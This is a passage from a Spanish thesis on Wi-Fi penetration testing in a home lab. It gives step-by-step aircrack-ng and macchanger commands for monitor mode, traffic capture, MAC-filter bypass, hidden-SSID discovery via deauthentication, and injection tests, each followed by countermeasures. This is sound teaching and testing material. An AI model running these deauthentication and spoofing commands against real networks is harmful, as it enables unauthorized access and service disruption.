- airbase-ng: herramienta para crear un AP del tipo que se quiera [24].
Wireshark: programa para analizar el trafico de una red [25].

Cowpatty: herramienta para obtener la clave WPA/WPA2 utlizando ataques de
diccionario offline [26].

Pyrit: herramienta para obtener la clave WPA/WPA2 con la ayuda de una tarjeta
grafica [27].

Reaver: herramienta disefiada para el ataque de fuerza bruta con una red WPS
hacia su nimero PIN [28].

Hostapd: herramienta para crear un Evil Twiny poder conectarlo a Internet [29].

Hostapd-wpe: parche de hostapd-wpe para crear un Evil Twin para atacar una
red con autenticaciéon en un servidor [30].

Asleap: herramienta para realizar ataques a una red con autenticacién en servidor

[31].

Ataque ‘ Descripcion
-0 Desautenticacion Permite desautenticar a uno o varios clientes de un AP.
-1 Autenticacién falsa Permite asociarse a un AP.
-2 Seleccion interactiva Permite elegir un paquete y reenviarlo al AP.

-3 Reinyeccion de paquetes

y reinyectarlo contra el AP.

-4 Ataque ChopChop Permite descifrar un paquete de datos WEP
-5 Fragmentacion Permite generar una keystream.
-6 Caffe-Latte Permite que los clientes generen més IV para descifrar la clave.

Tabla 4.3: Descripcién de los tipos de ataques mds comunes en aireplay-ng [23]

4.1.3 Escenarios

Los ataques se han implementado utilizando uno de los dos escenarios siguientes,
donde se escenifica una situacién real. Ambos escenarios son completados con carac-
teristicas particulares dependiendo del ataque.

Escenario 1

Escenario que recrea un hogar o una pequefia empresa, SOHO, donde un cliente pue-
de conectarse al AP de forma inaldmbrica y dentro del radio de cobertura del AP se
establece un atacante. En la figura 4.1 se puede ver una representacién gréfica del
escenario.
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o
o

Atacante

AP
Cliente

Figura 4.1: Escenario 1

El AP estd conectado a Internet y suministra esta conexién a un posible cliente.
Las caracteristicas del AP se pueden ver en la tabla 4.4. Si tiene un cliente conectado,
navegara por Internet creando trafico.

Como se ha comentado en el apartado 4.1.1, el atacante serd el ordenador de
sobremesa. El cliente, si es que lo hay, serd el portatil. La informacién MAC de cada
dispositivo es la siguiente:

¢ Sobremesa ->F4:F2:6D:44:7D:3B

¢ Portatil ->1C:65:9D:37:B1:7F

’ Producto ‘ ESSID ‘ BSSID ‘ Canal ‘
| AP | TFG_UIB | E8:94:F6:D4:35:77 | 6 |

Tabla 4.4: Caracteristicas del AP

Este escenario, dependiendo del ataque que se realice, serd complementado con
mads informacién en el apartado de escenario dentro de cada ataque.

Escenario 2

En este escenario se escenifica el tipo de redes Enterprise, dedicadas a entornos profe-
sionales, como por ejemplo empresas o universidades.

El escenario se compone de un cliente que estd conectado a una red donde el AP
no realiza el proceso de autenticacion, sino que lo realiza un servidor RADIUS (ver
apartado 2.2.3). En la figura 4.2 se puede ver una representacion grafica del escenario.
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Cliente Servidor RADIUS

Qx> ¥
a A~
I 2

Atacante AP del atacante

Servidor RADIUS
del atacante

Figura 4.2: Escenario 2

En el momento de emplear este escenario para un ataque, el atacante creard un AP
virtual como el original con un servidor RADIUS propio. Asi podrd engafar al cliente con
la intencién de obtener toda la informacién necesaria para conseguir las credenciales
del usuario.

4.2 Fases de un test de penetracion

El proceso de un test de penetracién o pentesting consiste en la realizacién de ataques
en diversos entornos (en nuestro caso una red inaldmbrica) con el fin de descubrir
posibles fallos y vulnerabilidades de seguridad. Un test de penetracion se puede dividir
en cuatro fases principales que se pueden visualizar en la figura 4.3.

$ Additional Discovery —|

Planning

A 4

Discovery > Attack

Reporting —

Y

Figura 4.3: Diagrama de las fases de pentesting [16]

Fase de planificacién

La fase de planificacién (planning) es realmente importante y no siempre obtiene la
importancia que deberia. En esta fase se define el alcance del ataque y se estiman
las herramientas que se van a usar. Si no se ha podido definir un alcance ni estimar
las herramientas adecuadas para el test de penetracién, se continuara con la fase de
reporte [16].
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Fase de descubrimiento

En la fase de descubrimiento (discovery) se recoge la mayor cantidad de informacién
posible sobre las redes que se encuentran en el dmbito de aplicacién de la prueba
y sus vulnerabilidades. Esta fase también se conoce como fase de recopilacién de
informacién y es muy importante, ya que define con precision los objetivos del ataque,
permite recoger informacién y exponer sus vulnerabilidades potenciales. Los objetivos
pasan por recoger la siguiente informacién [16]:

* Redes visibles y ocultas.

* Clientes conectados a las redes.

* Rogue AP o Evil twins.

* Tipo de autenticacién usado por las redes.

* Mapa del rango de las redes, desde donde son accesibles y si hay lugares donde
se puede llevar a cabo un ataque, por ejemplo, una cafeteria.

En una red inaldmbrica, la fase de descubrimiento puede llevarse a cabo a través
de dos tipos principales de escaneo [32]:

* Activa: implica el envio de paquetes request en broadcast a la espera de los pa-
quetes response del AP, almacenando los ya recibidos. Este es el método estandar
utilizado por las STA para identificar las redes inaldmbricas que estdn disponibles
a su alcance. La desventaja de este método es que un AP puede ser configurado
para ignorar los paquetes request y asi excluir su SSID. En este caso, seria un AP
oculto y no se podria identificar la red de esta forma.

4

Y

[ N\
) Probe Response

/7 Probe Response I&
Probe Requey

> Probe Request

N

Figura 4.4: Escenario de un escaneo activo [32]

* Pasiva: este escaneo proporciona mejor resultado que el activo. Este método no
envia paquetes en difusion. El adaptador de red inaldmbrico de la STA se pone
en modo monitor para detectar todo el trafico que va en un canal determinado.
Los paquetes capturados se analizan para determinar qué AP estd transmitiendo
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y qué STA tiene conectadas. De esta manera, los AP que anteriormente estaban
ocultos pasan a ser descubiertos en el momento que un cliente se conecta al AP.

B

f/ sf‘
"«\ Beacon Frame Beacon Frame
> T ,|
( //‘

L =\ -

. Monitor Only /
\\-. - ."\\ -
—\ /

Figura 4.5: Escenario de un escaneo pasivo [32]

Fase de ataque

La fase de ataque (attack) aprovecha las vulnerabilidades y fallos de seguridad identifi-
cados en la fase de descubrimiento para obtener acceso a la red. La fase de ataque es la
parte mds préctica del proceso de pruebas de penetracion. En ella se realiza una prueba
de concepto, proof of concept, de 1a fase de descubrimiento. Esto quiere decir, que se
ponen en préctica los ataques pertinentes a las vulnerabilidades y fallos establecidos
en la fase anterior [16]. Los ataques abarcaran los siguientes ejemplos:

* Algoritmos estadisticos para descifrar las claves.

Ataques a la infraestructura.

¢ Comprometer clientes con rogue AP o Evil Twin.

Atacar a clientes.

Encontrar a clientes no autorizados.

¢ Ataques tras el acceso ala red.

Fase de reporte

La dltima fase es la de reporte (reporting). Al finalizar las pruebas es necesario realizar
un informe con todos los resultados lo més detallado posible. El informe es 1til para
paliar los fallos y vulnerabilidades reportados

citebl2.

4.3 Tipos de ataques generales

Este aparatado recopila un conjunto de ataques basicos a WLAN que pueden ser reali-
zados sin importar la configuracién de la red.
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4.3.1 Ataques pasivos

Los ataques pasivos se basan en escuchar las comunicaciones. Pretenden obtener
informacién y suponen un primer paso para la realizacién de posteriores ataques.
Entre ellos se encuentran los siguientes [33]:
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 Surveillance: consiste en espiar y averiguar como es la red. Observar el entorno

obteniendo informacién de la topologia de la red y de la ubicacién de todos los
componentes.

Sniffing: es un ataque consistente en la escucha del medio, capturando paque-
tes de informacién. Es f4cil obtener los paquetes ya que las comunicaciones
inalambricas estdn expuestas a que cualquiera, dentro del alcance del AP, pueda
capturarlas.

Para realizar las escuchas de las redes inaldmbricas es necesario una tarjeta
de red inaldmbrica en modo monitor. Se pueden diferenciar cuatro modos de
funcionamiento en una tarjeta inaldmbrica:

Ad-hoc: modo para conexiones Ad hoc nodo a nodo.

Managed: modo para asociarse con un AP.

Master: modo residente de los AP.

Monitor: modo requerido para capturar todos los paquetes de informacién
dentro del alcance del dispositivo. Este es el modo que sera utilizado para
ataques de captura de paquetes o sniffing. No todas las tarjetas de red son
capaces de soportar este modo.

e Wardriving: es la realizacién de la técnica sniffing estando en movimiento. Re-

corriendo las calles de una ciudad con un vehiculo con el fin de capturar todas
las redes inaldmbricas a su paso. En este ataque es importante disponer de la
funcionalidad de GPS para asi poder registrar la ubicacién aproximada de las
redes almacenadas y asi crear un mapa con esa informacion.

* Warchalking: lenguaje de simbolos escritos en lugares publicos, normalmente

con tiza en la pared, o en el suelo, destinado a informar sobre la existencia de
redes Wi-Fi cercanas. El tipo de informacién que se comparte es el SSID y el tipo
de seguridad de la red.

En la figura 4.6 se puede observar un ejemplo de Warchalking. El nodo abierto
es representado por dos semicirculos abiertos, indicando que la red no tiene
seguridad implementada. En cambio, un circulo indica que la red esta protegida
con contrasefa. En la parte superior de estos simbolos se escribe el SSID y en la
inferior su ancho de banda.

* Ataques a contraseiias: este tipo de ataques tienen como fin descubrir la contra-

sena de la red. Las pruebas no se hacen contra la victima, ya que en ese caso seria
un ataque activo. Para este ataque es necesario saber el algoritmo de cifrado y los
datos antes y después de ser cifrados, para ir comprobando de forma offlinelas
contraseiias. Hay dos tipos de ataques a contraseiias:
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ssid
open node )C
bandwidth
ssid
closed node
ssid
WEP node
bandwidth

Figura 4.6: Simbolos warchalking [33]

— Ataque por fuerza bruta: aquellos que intentan adivinar la contrasefia pro-
bando todas las posibles combinaciones hasta dar con ella. La efectividad
de este ataque radica en la longitud de la contrasefia. Cuanto mas larga,
mads tiempo computacionalmente lleva.

— Ataque por diccionario: parecido al ataque por fuerza bruta pero basandose
en una lista de posibles contrasefias las cuales se irdn probando hasta
encontrar la contrasefia que cifra el texto igual que lo hace la victima. Puede
disminuir razonablemente el tiempo de obtener la contraseiia si ésta se
halla en el diccionario.

¢ Revelacion de SSID ocultos: este ataque intenta conocer la informacién de los
AP que tiene habilitado el modo SSID oculto. Para ello, el atacante se mantiene a
la espera hasta que el AP revele su informacidn, por ejemplo, cuando un cliente
se asocia al AP.

e Filtrado MAC: un AP puede filtrar los clientes que acepta o rechaza segiin su
MAC. En este caso, se modifica la direccion MAC del atacante con el fin de que el
AP confunda al atacante como un cliente conocido.

4.3.2 Ataques activos

Se basan en la modificacién de los flujos de informacién o la creacién de flujos de
informacion falsos. Entre ellos se encuentran los siguientes [33]:

¢ Ataques a contrasefias: es la version activa del ataque a contraseiias de ataques
pasivos. En este caso, los intentos de prueba y error de descubrir la contrasefia
se hacen contra el AP. Si controla el numero de intentos fallidos, puede llegar a
alargar el tiempo de la ejecucion del ataque, incluso tanto que sea inviable.

* Spoofing: consiste en la suplantacion de informacién o de parte de ella.
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* Hijacking: es un ataque posterior al Spoofing el cual toma la sesiéon de una
conexién entre dos dispositivos de usuario. En la figura 4.7 se ilustra el ataque.

Situacion inicial
a "

8D S -

Situacion final Cliente

~ - "\

a [ S | ot

.’ @ < El atacante envia “Disassoc” al Nodo simulando
- ser el AP.

Atacante

El Nodo se desasocia del AP.

| El atacante se conecta al AP con la MAC del Nodo y
! con los datos identificadores de la sesion del nodo.

Trafico

o0 @

AP
Cliente

Figura 4.7: Secuestro de sesion [33]

* Reinyeccién de paquetes: ataque con el fin de generar tréfico en la red. Crea
paquetes, o los captura de un cliente, para posteriormente ser reenviados al AP.

* Man-In-The-Middle: son un tipo de ataques en los que un tercero puede in-
terceptar, capturar o alterar la comunicacién entre dos entidades. Radica en la
intromisién durante la comunicacién entre dos sistemas. El atacante recibe y
modifica datos concretos de la comunicacion. Al realizar la suplantacién de iden-
tidad, ningan dispositivo se da cuenta de que se estd comunicando realmente
con el atacante [32].

* Denial of Service (DoS): este ataque tiene como objetivo inutilizar la red des-
habilitando a los dispositivos, ignorando la informacién que se transmite en la
red, y el acceso a ella. Los ataques DoS abarcan desde inibidores de frecuencia
pertenecientes a la capa fisica del modelo OS], hasta la sobrecarga del sistema
recibiendo tramas pertenecientes a la capa de enlace.

* Rogue AP o Fake AP o Evil Twin: es un AP instalado en la red el cual no ha sido
autorizado. Los usuarios creen que es el AP original e intentan conectarse a él

[16].

4.4 Ataques basicos

En este apartado se listardn y explicardn un conjunto de ataques que son la base de otros
ataques posteriores. Estos ataques no serdn tinicos para un protocolo de seguridad
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concreto pero si se puede dar el caso de no ser efectivo para todos.

4.4.1 Tarjeta de red en modo monitor
Introduccién

La tarjeta de red se habilita en modo monitor para que escuche todo lo que circula
por el aire. En el modo monitor es posible capturar el tréfico que circula por las redes
inaldmbricas dentro del alcance del atacante. La herramienta airmon-ng habilita el
modo monitor [20].

Escenario

En este caso, no es necesario ningiin escenario concreto. Tan sélo disponer de un
ordenador con una tarjeta de red capaz de habilitar el modo monitor.

Ejecucién del ataque

Primero hay que averiguar las distintas interfaces de red de las que dispone el ordenador.
Si tuviese varias tarjetas de red aparecerian las distintas interfaces de red de todas ellas.
Para ello ejecutamos el siguiente comando:

ifconfig

En la figura 4.8, podemos ver el uso del comando con la respuesta de tres interfaces
l6gicas. Una es la interfaz ethernet (eth0), otra la de loopback (lo) y la dltima de wireless
(wlano0).

Figura 4.8: Interfaces logicas

Escogemos la interfaz l6gica wireless con el nombre wlan0 . Escribimos los siguien-
tes comandos, como se puede ver en la figura 4.9, para activar la interfaz wlan0y para
cerrar los procesos en ejecucion con el fin de evitar problemas posteriormente:

ifconfig wlan0 up (Para activar la interfaz si no lo estuviese)

1Los nombres de las interfaces 16gicas pueden variar dependiendo de la tarjeta de red.
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airmon-ng check kill
Y por tltimo activamos la interfaz wlan0 en modo monitor:

airmon-ng start wlan0

Figura 4.9: Activacién del modo monitor

Se puede comprobar que todo se ha realizado correctamente con el siguiente
comando:

iwconfig

Donde podremos observar el listado de las interfaces con su informacién referente
a la extension inaldmbrica, si es que la tienen. Se puede ver que wlan0ha pasado a ser
wlanOmon en modo monitor (ver figura 4.10). Si se desea detener el modo monitor,
basta con insertar el siguiente comando:

airmon-ng stop wlan0

Figura 4.10: Comprobacién del modo monitor

Contramedidas

El hecho de que el atacante habilite su tarjeta de red inaldmbrica en modo monitor no
supone ningtin peligro por si sélo, pero conlleva una sucesién de ataques que pueden
ser perjudiciales.

Ante la modificaciéon del modo de trabajo de la tarjeta de red no se puede realizar
ninguna contramedida concreta, pero si se puede intentar poner solucién a los siguien-
tes ataques que probablemente sean mds nocivos. Nunca se sabra si el atacante tiene
la tarjeta de red en modo monitor, aunque si realiza algiin ataque es obvio que tiene la
tarjeta de red en modo monitor.
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4.4.2 Modificacion dela MAC
Introduccion

Aunque los ataques durante este trabajo se han realizado en un entorno privado, un
atacante no dejard informacién sobre su identidad. Con la modificacién de la MAC del
dispositivo se puede camuflar al atacante, sin llegar a saber quien es realmente. Es por
esto que se incluye como ataque bdsico y previo a otros, el cambio de MAC [34]. Este
cambio puede ser por una MAC especifica o una aleatoria, como se puede observar en
lafigura 4.11.

Escenario

En este caso, no es necesario ninglin escenario concreto, tan s6lo disponer de un
ordenador con una tarjeta de red inaldmbrica de la que se modificaré la direcciéon MAC.

Ejecucién del ataque

El comando siguiente permite desactivar la interfaz de la que se quiere modificar la
direccién MAC:

ifconfig wlanOmon down

Donde wlanOmon es el nombre de la interfaz 16gica en modo monitor.

Con esto ya podemos realizar una de las dos opciones siguientes:

e MAC aleatoria: macchanger -r wlanOmon

* MAC especifica: macchanger —-mac 00:11:22:33:44:55 wlanOmon

Donde la direccion 00:11:22:33:44:55 puede ser cualquiera, siempre y cuando
sean 6 bloques de dos caracteres hexadecimales y cada pareja hexadecimal sepa-
rada por dos puntos (:).

Figura 4.11: Modificacién de la MAC de manera aleatoria y especifica

Contramedidas

Al igual que el ataque anterior, la modificacion MAC no supone ninguna amenaza por
si sola. Este ataque consigue hacerse pasar por otro cliente enmascarando la identidad
del cliente, dificultando asi su identificacién. El hecho de que un atacante modifique
su direccién MAC no posee ninguna contramedida.
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4.4.3 Capturade paquetes
Introduccién

La captura de paquetes, o sniffing (ver apartado 4.3.1), es uno de los ataques béasicos
mas utilizado y més sencillo de realizar. Este ataque permite escuchar todo el trafico
que circula por la red 802.11. Para poder capturar los paquetes, la tarjeta de red debe de
estar habilitada en modo monitor (ver apartado 4.4.1). La herramienta utilizada para
realizar este ataque es airodump-ng [21].

Escenario

El escenario 1 es utilizado en este ataque. No es necesario ningtin protocolo de segu-
ridad concreto ni ningtn cliente conectado. S6lo es necesario que aparezca algun AP
al alcance del dispositivo del atacante. La tarjeta de red inaldmbrica del atacante se
encuentra en modo monitor.

Ejecucidén del ataque

Partiendo de que la tarjeta estd en modo monitor (ver apartado 4.4.1), es suficiente con
la insercion del siguiente comando:

airodump-ng wlanOmon

Donde wlanOmon es el nombre que recibe la tarjeta de red en modo monitor.

PWR Beacons #Data, #/s MB ENC CIPHER AUTH ESSID

-39
-73
-71
-73
-79

83 lle. WEP WEP TFG_UIB
3
1

10

13

-83 25
7
6
8
9
3
9

54e WPA CCMP PSK MOYISTAR_9065
54e WPA2 CCMP PSK MiFibra-CBBE
54e WPA2 CCMP  PSK ONO12CB

13 54e. WPA2Z CCMP PSK Orange-8D42
54e. WPA2 CCMP  PSK JAZZTEL 1B

11 54e WPAZ2 CCMP MGT _AUTO ONOWiFi

11 54e OPN _ONOWiFi

11 54e WPAZ CCMP  PSK 0NO0963744

9 54e. WPA2 CCMP  PSK Orange-9025

7 54e WPA2 CCMP  PSK vodafone7BDC

13 54e. WPA2 CCMP PSK Orange-8D42

-84
-84
-85
-84
-86
-86

WS OO O U DA
S oo oo

STATION PWR  Rate Lost Frames Probe

DO:22:BE:3B:4F:88 -1 0
0:5F:9D:30 -75 o - 0
EA:08:6B:C3:A7:BB -1 0

Figura 4.12: Captura del tréfico con airodump-ng

El resultado del comando se puede visualizar en la figura 4.12, donde aparece un
conjunto de datos en una tabla. Esta tabla representa la informacién que va capturando
la tarjeta de red a su alcance. Es un escaneo continuo de la red 802.11 que, mientras el
comando esté en ejecucion, la informacién se ird actualizando.

La tabla se divide en dos partes. La parte superior, donde aparecen los datos re-
lacionados con los AP y la inferior, que representa las conexiones entre las STA y los
AP. Es importante conocer el significado de los pardmetros y por eso en la tabla 4.5 se
proporciona informacién de las componentes mds relevantes.
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Parametro Descripciéon
BSSID Direccién MAC del AP
PWR Intensidad de la sefial.
Beacons Cantidad de paquetes beacons enviados por el AP
#Data Cantidad de paquetes de datos. En WEP sélo cuentan IV
#ls Cantidad de paquetes de datos por segundo promedio de los tltimos
10 segundos
CH Numero de canal
MB Velocidad soportada por el AP
ENC Algoritmo de cifrado empleado por el AP. OPN, WEP, WPA o
WPA2
CIPHER Tipo de cifrado de datos. WEP, TKIP o CCMP
AUTH Método de autenticacién. Como OPN, Shared Key Authentication (SKA),
PSK o ManaGemenT (MGT)
ESSID Nombre de la red
STATION Direccién MAC del cliente que estd conectado o busca conectarse a
un AP
Lost Cantidad de paquetes perdidos en los ultimos 10 segundos

Tabla 4.5: Descripcién de los pardmetros de la visualizacién mads relevantes de
airodump-ng [13]

La herramienta airodump-ng permite filtrar el tréfico referente a un tinico AP,
haciendo esta captura de trafico més eficiente, ya que sélo escaneard datos del canal
en el que transmite el AP. Ademads es posible guardar el trafico capturado en un archivo.
Si no se especifica la extension, se guardaran en .cap y .csv. El comando es el siguiente:

airodump-ng —bssid E8:94:F6:D4:35:77 —channel 6 wlanOmon -w cap

Donde seguido de -bssid esta la BSSID del AP del que se quiere capturar tréfico, se-
guido de —channel el canal que emplea el AP para transmitir la informacién, wlanOmon
que es el nombre de la red en modo monitory por dltimo -w indica que se va a capturar
el trafico en un archivo, y se indica su nombre. El resultado del filtro se puede ver en la
figura 4.13.

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

E8:94:F6:D4:35:77 -36 100 117 27 B 6 lie. WEP “WEP TFG_UIB

BSSID STATION PWR Rate Lost Frames Probe
8:94:F6:D4:35:77 1C:65:9D:37:B1:7F -60 1lle-1le 0 4

Figura 4.13: Captura del trafico con airodump-ng con filtro
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Contramedidas

En un dambito inaldmbrico es imposible limitar la escucha del medio inaldambrico sin
inutilizarlo, por ejemplo, con un inhibidor de frecuencia. Por eso, una red inaldmbrica
estd expuesta a que cualquiera pueda capturar los paquetes que circulan por el aire.
Como contramedida se podria emplear un protocolo de seguridad que cifre la informa-
cién, como por ejemplo, WPA2 (ver apartado 2.2.4). Si alguien intercepta los datos al
menos que no pueda comprender la informacién ni modificarla.

4.4.4 Superar filtrado MAC
Introduccién

El filtrado MAC es una medida de seguridad adicional en la redes Wi-Fi que emplea
la direccién MAC Unica de la tarjeta de red. Permite aceptar la autenticacién en la red
a sélo el conjunto de direcciones MAC vélidas. También, en lugar de tener una lista
con las MAC permitidas, se puede almacenar una lista negra de las direcciones MAC
bloqueadas. Como la direccién MAC es tinica para cada dispositivo, se puede identificar
a cada uno por ella.

En la actualidad, es muy fécil saltarse esta proteccion. Es suficiente con tan sélo
una suplantacion de identidad de una MAC vdlida. Para ello, se captura el trafico de la
red como en el apartado 4.4.3 en busca de un cliente conectado a la red. Gracias a que
las cabeceras de las tramas Wi-Fi no estan cifradas, se puede obtener la informacién de
la MAC del cliente conectado.

En el caso de que no haya clientes asociados a la red, seria suficiente un ataque por
fuerza bruta para averiguar una direccién MAC valida. Este ataque por fuerza bruta
consistiria en ir probando direcciones MAC hasta conseguir una MAC vdlida con la que
poderse autenticar.

En el momento que se ha obtenido una direccién MAC vélida basta con modificar
la MAC de la tarjeta de red como se ha explicado en el apartado 4.4.2.

Escenario

En este ataque se ha utilizado el escenario 1 con el filtro de MAC activado en el AP.
Este AP acepta las peticiones de autenticacion al cliente que coincida con una MAC
concreta, en este caso 1C:65:9D:37:B1:7F como se puede ver en la figura 4.14.

Hay un cliente conectado a la red que tiene esa direccion MAC. El tipo de red,
cifrado y autenticacién son irrelevantes. El atacante ya conoce la contrasefia que da
acceso alared.

Ejecucidén del ataque

Si sabemos la contrasefia de la red pero no se lleva a cabo la autenticaciéon con el AP,
muy probablemente sea debido a que el filtrado MAC esté activado. Para eludir este
filtro, se realiza una captura del tréfico (ver apartado 4.4.3) en busca de un cliente
conectado a la red [13]. Como se puede observar en la figura 4.15, hay un cliente
conectado ala red y su direccién MAC es 1C:65:9D:37:B1:7E

El ultimo paso es modificar la direccién MAC de la tarjeta de red empleando el
ataque visto en el apartado 4.4.2. En la figura 4.16, se puede observar el cambio de
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Wireless MAC Filtering: Enabled Disable

Filtering Rules
) Deny the stations specified by any enabled entries in the list to access.

@® Allow the stations specified by any enabled entries in the list to access.

D MAC Address Status
1 1C-65-9D-37-B1-TF Enabled

Figura 4.14: Pantalla de configuracién del filtrado de MAC del AP

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

8:94:F6:D4:35:77 13 16806 1468 254 1 6 54e. WPA2 CCMP  PSK TFG_UIB

BSSID STATION PWR Rate Lost Frames Probe

8:94:F6:D4:35:77 |1C:65:9D:37:B1:7F| -60 8 -1 0 5

Figura 4.15: Captura del trafico con airodump-ng en busca de la MAC de un cliente
asociado

la MACy en la figura 4.17 se ve una comprobacién de que la direccién MAC ha sido
modificada. Hay que tener en cuenta que en una red inaldmbrica, no puede haber dos
o mas dispositivos con la misma direccién MAC. Para conseguir que la préxima asocia-
cién con el AP tenga éxito, si el cliente estd conectado a la red, habré que realizar un
ataque de desautenticacion (ver apartado 4.4.8) para desconectar al cliente y conseguir
la conexidn del atacante ala red.

:~# macchanger --mac 1C:65:9D:37:B1:7F wlan@
Current MAC: T4:72:6d:44:7d:3b (unknown)

Permanent Mﬁc: fad:f2:6d:44:7d:3b (unknown)
New MAC: 1c:65:9d:37:bl:7f (Liteon Technolo Corporation

Figura 4.16: Modificacién de la direccién MAC de la tarjeta de red inaldmbrica

:~# macchanger -m 1C:65:90:37:B1:7F wlan®
Current MAC: 1c:65:9d:37:bl:77f (Liteon Technology Corporation)

Permanent MAC: f4:72:6d:44:7d:3b (unknown)
New MAC: 1c:65:9d:37:bl:7f (Liteon Technoleogy Corporation
It's the same MAC!!

)

Figura 4.17: Comprobacion de la direccion MAC modificada
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Contramedidas

Como se ha podido comprobar, el filtrado MAC no ofrece seguridad. Con tan s6lo modi-
ficar la direccién MAC del dispositivo es posible eludir este nivel de seguridad. Aunque
s6lo es una capa de seguridad afiadida a cualquier protocolo, no hay contramedida
para evitar superar el filtrado MAC.

4.4.5 Descubrimiento de SSID ocultos
Introducciéon

La restriccion del SSID consiste en ocultar el nombre de la red inaldmbrica provocando
que un cliente que quiera asociarse debera conocer el nombre de la red. Esto afiade
una capa de seguridad adicional al AP. Puede implementarse con cualquier protocolo,
siempre y cuando el AP permita ocultar el SSID. La mayoria de fabricantes si ofrecen
esta posibilidad [35]. Ademas, si se desea, se puede combinar con el filtrado de MAC.

Los Beacons que envia el AP tienen el SSID vacio y no se puede averiguar con una
simple captura del tréfico de la red. Para obtener el SSID, si existe un cliente conectado
alared inaldmbrica, se puede provocar una desautenticacion del cliente (ver apartado
4.4.8), consiguiendo que al volver a autenticarse envie el paquete probe con el nombre
delared.

Por otra parte, si no hay ningiin cliente asociado, bastaria con esperar a que un
cliente se asocie. Sino, también es posible realizar combinaciones de caracteres con
limite de 5 o 6 caracteres. Si es de mayor longitud no seria una buena opcién.

Escenario

El escenario 1 es escogido para este ataque. El SSID esté oculto y al capturar el tréfico
no aparece. Tras realizar el ataque, se debe comprobar que es TFG_UIB. Ningun aspecto
de seguridad es relevante. Tampoco el objetivo es la adquisiciéon de la contrasefia por lo
que es un dato innecesario. En la figura 4.18, se puede ver como el AP se configura para
ocultar el Extended SSID (ESSID).

Wireless Network Name: TFG_UIB (Also called the SSID)
Region: Spain v
Warning: Ensure you select a correct country to conform local law.

Incorrect settings may cause interference.

Mode: 11bgn mixed ¥
Channel Width: 40MHz v
Channel: 6 ¥

Enable S5ID Eroadcast
Enable WDS Bridging

Figura 4.18: Configuracién del AP para ocultar el SSID
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Ejecucién del ataque

Comprobamos que el SSID de la red esté oculto. Para ello, realizamos una captura del
trafico (ver apartado 4.4.3). En la figura 4.19 se observa como en la columna ESSID no
aparece el nombre de la red y en su lugar aparece <length: 0>, donde normalmente
informa de la longitud del nombre de la red. Algunos AP tienen implementado no decir
la longitud del nombre de la red. En este caso, la longitud no es cero y puede frustrar
un ataque por fuerza bruta al desconocer la longitud del SSID. A su vez, en la misma
figura, se puede observar un cliente conectado al AP [13].

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

E8:94:F6:D4:35:77 -27 100 138 31 0 6 54e. WPA2 CCMP  PSK | <length: 0>

BSSID STATION PWR  Rate Lost Frames Probe

EB:94:F6:D4:35:77 |1C:65UDEERsR1:7F] -1 1le- @ ] )

Figura 4.19: Captura del trafico de una red con SSID oculto

En este caso, el cliente que estd conectado recibird un ataque de desautenticacion
(ver apartado 4.4.8), donde en la figura 4.20 se aprecia la ejecucion del ataque.

:~# aireplay-ng -0 1 -a E8:94:F6:D4:35:77 wlan@mon
02:10:51 Waiting for beacon frame (BSSID: E8:94:F6:D4:35:77) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
02:10:51 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:D4:35:77]

Figura 4.20: Desautenticacién del cliente

Tras el ataque de desautenticacion, se puede ver en la figura 4.21, donde antes habia
<length: 0>, ahora aparece el nombre de la red, gracias al paquete probe interceptado
en la autenticacion del cliente.

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

E8:94:F6:D04:35:77 -27 100 347 188 13 ©6 54e. WPA2Z CCMP PSK |TFG_UIB

BSSID STATION PWR Rate Lost Frames Probe

E8:94:F6:D4:35:77 1C:65THDESH:B1:7F -48 1le- le ] 149

Figura 4.21: Captura del trafico con el ESSID

Contramedidas

No hay contramedida, al igual que el filtrado MAC. El hecho de ocultar el SSID de la
red no aumenta la seguridad. Un atacante puede eludir esta ocultacién y obtener la
informacion del SSID.
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4.4.6 Testdeinyecci6on
Introduccién

Este simple ataque es un test de prueba que determina si la tarjeta de red, previamente
en modo monitor (ver apartado 4.4.1), es capaz de inyectar tramas con éxito. Esta
funcionalidad sélo estd disponible a partir de la versién 0.9 de aireplay-ng.

Escenario

En este caso, con las especificaciones del escenario 1 es suficiente.

Ejecucidon del ataque

El test de inyeccién se realiza con la herramienta aireplay-ng [36]. Como se puede
ver en la figura 4.22, con el siguiente comando busca todos los AP que pueden sufrir
inyeccién y realiza las pruebas:

aireplay-ng -9 wlanOmon

El nimero 9 se refiere al ataque de test de inyeccién y wlan0Omon es el nombre de la
tarjeta de red en modo monitor.

Trying broadcast probe requests...
Injection is working!
Found 2 APs

Trying directed probe requests...
8:94:F6:D4:35:77 - channel: & - 'TFG UIB'

Ping (min/avg/max): 1.145ms/2.214ms/3.938ms Power: -32.03
30/30: 100%

D4:63:FE:1A:D9:51 - channel: 6 - 'Orange-D94F'
Ping (min/avg/max): 1.670ms/9.289ms/64.046ms Power: -82.44
25/30: 83%

Figura 4.22: Test de inyeccién de tramas para todos los AP cercanos

Como resultado, se obtiene una enumeracién de los AP que han respondido a las
tramas enviadas. A parte de decir si la tarjeta de red puede inyectar tramas, como
informacion adicional, determina el tiempo de respuesta al AP, el porcentaje de tramas
respondidas de los cuales se hacen 30 envios. Los tiempos de respuesta obtenidos
(minimo, medio y méaximo), y la fuerza de la sefial, cuanto mds se acerque a 0 mds
fuerte es.

Opcionalmente, también se puede realizar un test de inyeccién indicando una red
especifica con el siguiente comando:

aireplay-ng —test -e TFG_UIB -a E8:94:F6:D4:35:77 wlanOmon

Donde —test o -9, se refieren al test de inyeccion, -e es el ESSID, -a es el BSSID y por
ultimo wlanOmon es el nombre de la tarjeta de red en modo monitor.

De cualquier forma, esto confirmaria que la tarjeta de red puede inyectar y comuni-
carse con éxito a alguna red cercana.
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Contramedidas

El test de inyeccién no supone un gran problema, pero después de este test viene el
ataque de inyeccion de paquetes (ver apartado 4.4.7). La contramedida para el test de
inyeccion es la misma que para el ataque de inyeccién de paquetes por el hecho de que
después del test de inyeccién se realizara la reinyeccion de paquetes.

4.4.7 Reinyeccién de paquetes
Introduccién

La inyeccion de paquetes seria uno de los ataques més importantes si los protocolos
de seguridad no ofreciesen seguridad ante dicho ataque. WPA y WPA2 sélo ofrecen
seguridad en las tramas de datos mediante el nimero de secuencia TSCy PN, respecti-
